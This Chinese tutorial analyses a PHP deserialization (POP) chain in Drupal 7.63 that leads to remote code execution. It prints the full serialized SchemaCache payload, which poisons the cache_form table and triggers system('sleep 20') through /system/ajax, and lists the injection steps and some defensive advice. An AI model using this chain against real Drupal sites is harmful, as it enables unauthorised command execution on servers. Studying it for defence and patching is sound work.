复杂的 Drupal POP 利用链: 实现和Drupalgeddon 2相同效果
字数 1507 2025-08-29 08:31:48
Drupal POP 利用链分析与利用教学文档
前言
本教学文档详细分析了一个基于 Drupal 7.63 的对象注入(POP)利用链,该利用链通过反序列化漏洞实现了与 Drupalgeddon 2 相同的远程代码执行效果。文档将逐步解析漏洞原理、利用链构造和实际利用方法。
漏洞背景
- 目标环境: Drupal 7.63
- 漏洞类型: PHP 反序列化漏洞(PHP 对象注入)
- 利用前提: 存在可控的反序列化入口点(如题目中通过 Cookie 注入序列化字符串)
核心利用链分析
第一阶段: 注入缓存数据
利用链始于 DrupalCacheArray 类的 __destruct() 方法,该方法会在对象销毁时自动调用:
public function __destruct() {
$data = array();
foreach ($this->keysToPersist as $offset => $persist) {
if ($persist) {
$data[$offset] = $this->storage[$offset];
}
}
if (!empty($data)) {
$this->set($data);
}
}
关键点:
- 遍历
$this->keysToPersist数组,将需要持久化的数据存入$data - 调用
set()方法将数据写入缓存
set() 方法最终调用 cache_set() 函数:
protected function set($data, $lock = TRUE) {
$lock_name = $this->cid . ':' . $this->bin;
if (!$lock || lock_acquire($lock_name)) {
if ($cached = cache_get($this->cid, $this->bin)) {
$data = $cached->data + $data;
}
cache_set($this->cid, $data, $this->bin);
if ($lock) {
lock_release($lock_name);
}
}
}
攻击者可控制的三个关键属性:
$this->cid: 缓存标识符$this->bin: 缓存表名$this->storage: 要写入的数据
缓存表结构分析
Drupal 使用多个表存储不同类型的缓存:
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
cache_form 表结构:
| Field | Type | Description |
|---|---|---|
| cid | varchar(255) | 缓存标识符 |
| data | longblob | 存储的缓存数据 |
| expire | int(11) | 过期时间 |
| created | int(11) | 创建时间 |
| serialized | smallint(6) | 是否序列化的标志 |
验证缓存注入
构造测试类验证缓存注入可行性:
class SchemaCache {
protected $cid = "some_cache_key";
protected $bin = "cache_form";
protected $keysToPersist = array('input_data' => true);
protected $storage = array('input_data' => array("arbitrary data!"));
}
$schema = new SchemaCache();
echo serialize($schema);
成功注入后,cache_form 表中将包含可控数据。
第二阶段: 从缓存到RCE
Ajax回调触发点
通过访问 /system/ajax 触发 ajax_form_callback() 函数:
function ajax_form_callback() {
list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
drupal_process_form($form['#form_id'], $form, $form_state);
}
ajax_get_form() 从 cache_form 表中获取数据:
if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
$form = $cached->data;
return $form;
}
利用 drupal_process_form
drupal_process_form() 中的关键代码:
if (isset($element['#process']) && !$element['#processed']) {
foreach ($element['#process'] as $process) {
$element = $process($element, $form_state, $form_state['complete form']);
}
}
通过控制 $element['#process'] 可以触发回调函数。
最终RCE实现
利用 drupal_process_attached() 实现代码执行:
function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
foreach ($elements['#attached'] as $callback => $options) {
if (function_exists($callback)) {
foreach ($elements['#attached'][$callback] as $args) {
call_user_func_array($callback, $args);
}
}
}
}
完整利用链构造
构造最终的POP链:
class SchemaCache {
protected $cid = "form_1337";
protected $bin = "cache_form";
protected $keysToPersist = array(
'#form_id' => true,
'#process' => true,
'#attached' => true
);
protected $storage = array(
'#form_id' => 1337,
'#process' => array('drupal_process_attached'),
'#attached' => array(
'system' => array(array('sleep 20'))
)
);
}
$schema = new SchemaCache();
echo serialize($schema);
利用步骤
- 注入恶意序列化数据:通过反序列化入口(如Cookie)注入构造的序列化对象
- 触发缓存写入:对象销毁时自动将数据写入
cache_form表 - 触发RCE:访问
/system/ajax并设置form_build_id=1337触发命令执行
防御建议
- 升级到最新Drupal版本
- 避免不可信的反序列化操作
- 对缓存数据进行严格验证
- 限制危险函数的使用
总结
该利用链展示了如何通过精心构造的POP链,从反序列化漏洞逐步实现远程代码执行。理解此类漏洞需要对Drupal内部机制和PHP反序列化特性有深入认识。防御此类攻击需要从多个层面进行防护,包括输入验证、输出编码和最小权限原则等。